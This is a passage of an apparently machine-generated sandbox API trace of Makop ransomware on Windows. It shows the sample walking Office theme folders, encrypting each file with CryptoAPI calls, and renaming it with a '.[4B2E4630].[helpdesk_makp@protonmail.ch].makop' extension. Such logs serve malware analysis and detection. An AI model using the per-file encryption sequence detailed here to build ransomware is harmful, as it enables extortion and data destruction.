lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.220] SetEndOfFile (hFile=0x138) returned 1 [0097.226] GetProcessHeap () returned 0x48a0000 [0097.226] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.226] GetProcessHeap () returned 0x48a0000 [0097.226] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.226] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0097.226] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\ECLIPSE.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\eclipse.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.231] CloseHandle (hObject=0x138) returned 1 [0097.231] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0097.231] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0097.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.234] GetProcessHeap () returned 0x48a0000 [0097.234] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.235] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.235] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.235] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0097.239] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.239] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.239] GetProcessHeap () returned 0x48a0000 [0097.239] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.239] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.239] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.239] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.240] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.240] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.240] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.240] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.240] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.240] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.241] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.241] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.241] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x543, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x543, lpOverlapped=0x0) returned 1 [0097.241] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x550, dwBufLen=0x550 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x550) returned 1 [0097.241] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.241] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x550, lpOverlapped=0x0) returned 1 [0097.241] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.241] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.241] SetEndOfFile (hFile=0x138) returned 1 [0097.249] GetProcessHeap () returned 0x48a0000 [0097.249] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.249] GetProcessHeap () returned 0x48a0000 [0097.249] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.249] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0097.249] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.250] CloseHandle (hObject=0x138) returned 1 [0097.251] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0097.251] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0097.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.251] GetProcessHeap () returned 0x48a0000 [0097.251] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.251] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.251] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.252] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0097.255] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.255] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.256] GetProcessHeap () returned 0x48a0000 [0097.256] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.256] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.256] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.256] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.256] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.256] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.256] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.256] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.257] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.257] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.257] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.257] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.257] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7e93, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x7e93, lpOverlapped=0x0) returned 1 [0097.259] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x7ea0, dwBufLen=0x7ea0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x7ea0) returned 1 [0097.259] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.259] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x7ea0, lpOverlapped=0x0) returned 1 [0097.260] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.260] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x7f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.260] SetEndOfFile (hFile=0x138) returned 1 [0097.267] GetProcessHeap () returned 0x48a0000 [0097.268] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.268] GetProcessHeap () returned 0x48a0000 [0097.268] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.268] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0097.268] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.269] CloseHandle (hObject=0x138) returned 1 [0097.269] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0097.270] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0097.270] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0097.270] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE") returned 60 [0097.270] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*") returned 64 [0097.270] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0097.272] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.272] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb06ab00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb06ab00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.ELM", cAlternateFileName="")) returned 1 [0097.272] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM") returned 69 [0097.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.273] GetProcessHeap () returned 0x48a0000 [0097.273] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.273] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.273] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.273] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.278] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.278] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.278] GetProcessHeap () returned 0x48a0000 [0097.278] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0097.278] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6576010*=0x30) returned 1 [0097.278] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.278] WriteFile (in: hFile=0x138, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6576028*=0x30, lpOverlapped=0x0) returned 1 [0097.279] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.279] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.279] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.279] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.280] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.280] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.280] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.280] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.280] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xb8f8, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xb8f8, lpOverlapped=0x0) returned 1 [0097.282] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xb900, dwBufLen=0xb900 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xb900) returned 1 [0097.283] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.283] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb900, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xb900, lpOverlapped=0x0) returned 1 [0097.283] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.283] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xb9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.283] SetEndOfFile (hFile=0x138) returned 1 [0097.290] GetProcessHeap () returned 0x48a0000 [0097.290] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0097.291] GetProcessHeap () returned 0x48a0000 [0097.291] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.291] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 116 [0097.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.292] CloseHandle (hObject=0x138) returned 1 [0097.292] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51f70990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE.INF", cAlternateFileName="")) returned 1 [0097.292] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF") returned 69 [0097.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE\\EDGE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\edge\\edge.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.293] GetProcessHeap () returned 0x48a0000 [0097.293] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.293] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.293] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.293] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0097.297] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.297] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.297] GetProcessHeap () returned 0x48a0000 [0097.297] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0097.297] CryptEncrypt (in: hKey=0x48c7168, 